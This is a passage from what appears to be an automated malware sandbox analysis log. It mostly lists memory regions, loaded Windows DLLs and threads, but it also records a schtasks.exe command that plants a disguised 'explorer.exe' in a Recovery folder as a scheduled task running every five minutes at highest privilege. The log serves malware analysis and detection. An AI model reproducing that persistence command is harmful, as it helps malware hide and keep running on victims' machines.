= "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 2621 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2622 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2623 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2624 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2666 start_va = 0x140000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2667 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2668 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2669 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2670 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2671 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2672 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2673 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2674 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2675 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2676 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2677 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2678 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2679 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2680 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2681 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2682 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2683 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2684 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2685 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2686 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2687 start_va = 0x410000 end_va = 0x597fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 2688 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2693 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2694 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2695 start_va = 0x5a0000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 2696 start_va = 0x730000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 2697 start_va = 0x140000 end_va = 0x140fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskeng.exe.mui" filename = "\\Windows\\System32\\en-US\\TaskEng.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskeng.exe.mui") Region: id = 2703 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2704 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2705 start_va = 0x1b30000 end_va = 0x1ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 2706 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2707 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2708 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2709 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2714 start_va = 0x1b50000 end_va = 0x1bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b50000" filename = "" Region: id = 2715 start_va = 0x1c50000 end_va = 0x1ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 2716 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2717 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2718 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2719 start_va = 0x170000 end_va = 0x1b4fff monitored = 0 entry_point = 0x171064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2720 start_va = 0x170000 end_va = 0x1b4fff monitored = 0 entry_point = 0x171064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2721 start_va = 0x170000 end_va = 0x1b4fff monitored = 0 entry_point = 0x171064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2722 start_va = 0x170000 end_va = 0x1b4fff monitored = 0 entry_point = 0x171064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2723 start_va = 0x170000 end_va = 0x1b4fff monitored = 0 entry_point = 0x171064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2730 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2731 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2732 start_va = 0x1bd0000 end_va = 0x1c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 2733 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2738 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2739 start_va = 0x1cd0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 2740 start_va = 0x1f50000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2741 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2742 start_va = 0x1fd0000 end_va = 0x229efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2743 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2744 start_va = 0x1e70000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 2745 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2746 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2747 start_va = 0x2330000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 2748 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2749 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2750 start_va = 0x7fef9f40000 end_va = 0x7fef9f48fff monitored = 0 entry_point = 0x7fef9f411a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 2753 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2754 start_va = 0x23b0000 end_va = 0x24affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 2755 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2756 start_va = 0x24e0000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 2757 start_va = 0x2560000 end_va = 0x263efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002560000" filename = "" Region: id = 2758 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2759 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3189 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3190 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3281 start_va = 0x27d0000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 3282 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3504 start_va = 0x28c0000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 3505 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3711 start_va = 0x2690000 end_va = 0x270ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 3712 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3717 start_va = 0x29e0000 end_va = 0x2a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 3718 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3719 start_va = 0x2a60000 end_va = 0x2b35fff monitored = 1 entry_point = 0x2b2d67e region_type = mapped_file name = "explorer.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe") Region: id = 3841 start_va = 0x2a90000 end_va = 0x2b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 3842 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 4396 start_va = 0x2bc0000 end_va = 0x2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 4397 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 4645 start_va = 0x2d10000 end_va = 0x2d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 4646 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 4877 start_va = 0x2c70000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 4878 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 5136 start_va = 0x22a0000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 5137 start_va = 0x2e60000 end_va = 0x2edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 5138 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 5139 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 5817 start_va = 0x2960000 end_va = 0x29dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 5818 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 5953 start_va = 0x2dd0000 end_va = 0x2e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 5954 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 6485 start_va = 0x2640000 end_va = 0x277ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 6486 start_va = 0x2780000 end_va = 0x30affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Thread: id = 135 os_tid = 0xf7c Thread: id = 137 os_tid = 0xf88 Thread: id = 139 os_tid = 0xf90 Thread: id = 140 os_tid = 0xf94 Thread: id = 141 os_tid = 0xf98 Thread: id = 142 os_tid = 0xf9c Thread: id = 143 os_tid = 0xfa0 Thread: id = 150 os_tid = 0xfd0 Thread: id = 158 os_tid = 0x6e0 Thread: id = 162 os_tid = 0x3b8 Thread: id = 173 os_tid = 0xc7c Thread: id = 181 os_tid = 0xc68 Thread: id = 187 os_tid = 0xcbc Thread: id = 197 os_tid = 0xd1c Thread: id = 207 os_tid = 0x8c4 Thread: id = 216 os_tid = 0xa1c Thread: id = 224 os_tid = 0xa4c Thread: id = 232 os_tid = 0xa80 Thread: id = 253 os_tid = 0xc1c Thread: id = 273 os_tid = 0xddc Thread: id = 287 os_tid = 0xd3c Process: id = "26" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x432bc000" os_pid = "0xf80" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 5 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2625 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2626 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2627 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2628 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2629 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2630 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2631 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2632 start_va = 0xffeb0000 end_va = 0xffef7fff monitored = 1 entry_point = 0xffed966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2633 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2634 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2635 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2636 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2637 start_va = 0x140000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2638 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2639 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2640 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2641 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2642 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2643 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2644 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2645 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2646 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2647 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2648 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2649 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2650 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2651 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2652 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2653 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2654 start_va = 0x140000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2655 start_va = 0x1e0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2656 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2657 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2658 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2659 start_va = 0x3e0000 end_va = 0x567fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 2660 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2661 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2662 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: 